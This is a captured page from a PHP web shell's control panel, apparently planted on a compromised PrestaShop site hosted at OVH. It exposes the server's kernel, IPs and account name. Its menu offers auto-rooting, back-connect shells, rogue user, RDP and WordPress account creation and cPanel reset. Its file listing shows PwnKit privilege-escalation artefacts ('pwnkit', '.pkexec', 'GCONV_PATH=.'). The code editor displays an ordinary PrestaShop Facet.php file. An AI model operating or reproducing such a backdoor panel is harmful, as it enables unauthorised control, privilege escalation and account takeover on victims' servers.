Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
newmed /
src /
Core /
Product /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Facet.php
5.07
KB
-rw----r--
FacetCollection.php
1.85
KB
-rw----r--
FacetsRendererInterface.php
1.75
KB
-rw----r--
Filter.php
5.2
KB
-rw----r--
Pagination.php
4.29
KB
-rw----r--
ProductSearchContext.php
3.03
KB
-rw----r--
ProductSearchProviderInterface...
1.48
KB
-rw----r--
ProductSearchQuery.php
5.23
KB
-rw----r--
ProductSearchResult.php
3.92
KB
-rw----r--
SortOrder.php
6.16
KB
-rw----r--
SortOrderFactory.php
1.93
KB
-rw----r--
SortOrdersCollection.php
2.42
KB
-rw----r--
URLFragmentSerializer.php
3.95
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Facet.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Core\Product\Search; /** * We call a facet a set of filters combined with logical operators. */ class Facet { /** * @var string the facet label */ private $label = ''; /** * @var string the facet type */ private $type = ''; /** * @var bool if true, the facet is displayed */ private $displayed = true; /** * @var array the facet properties */ private $properties = []; /** * @var array the facet filters */ private $filters = []; /** * @var bool if true, allows the multiple selection */ private $multipleSelectionAllowed = true; /** * @var string the widget type */ private $widgetType = 'radio'; /** * @return array an array representation of the facet */ public function toArray() { return [ 'label' => $this->label, 'displayed' => $this->displayed, 'type' => $this->type, 'properties' => $this->properties, 'filters' => array_map(function (Filter $filter) { return $filter->toArray(); }, $this->filters), 'multipleSelectionAllowed' => $this->multipleSelectionAllowed, 'widgetType' => $this->widgetType, ]; } /** * @param string $label the facet label * * @return $this */ public function setLabel($label) { $this->label = $label; return $this; } /** * @return string the facet label */ public function getLabel() { return $this->label; } /** * @param string $type the facet type * * @return $this */ public function setType($type) { $this->type = $type; return $this; } /** * @return string the facet type */ public function getType() { return $this->type; } /** * @param string $name the facet property name * @param mixed $value the facet property value * * @return $this */ public function setProperty($name, $value) { $this->properties[$name] = $value; return $this; } /** * @param string $name the facet property name * * @return mixed|null */ public function getProperty($name) { if (!array_key_exists($name, $this->properties)) { return null; } return $this->properties[$name]; } /** * @param Filter $filter the facet filter * * @return $this */ public function addFilter(Filter $filter) { $this->filters[] = $filter; return $this; } /** * @return array the list of facet filters */ public function getFilters() { return $this->filters; } /** * @param bool $isAllowed allows/disallows the multiple selection * * @return $this */ public function setMultipleSelectionAllowed($isAllowed = true) { $this->multipleSelectionAllowed = $isAllowed; return $this; } /** * @return bool returns true if multiple selection is allowed */ public function isMultipleSelectionAllowed() { return $this->multipleSelectionAllowed; } /** * @param bool $displayed sets the display of the facet * * @return $this */ public function setDisplayed($displayed = true) { $this->displayed = $displayed; return $this; } /** * @return bool returns true if the facet is displayed */ public function isDisplayed() { return $this->displayed; } /** * @param string $widgetType sets the widget type of the facet * * @return $this */ public function setWidgetType($widgetType) { $this->widgetType = $widgetType; return $this; } /** * @return string returns the facet widget type */ public function getWidgetType() { return $this->widgetType; } }
Close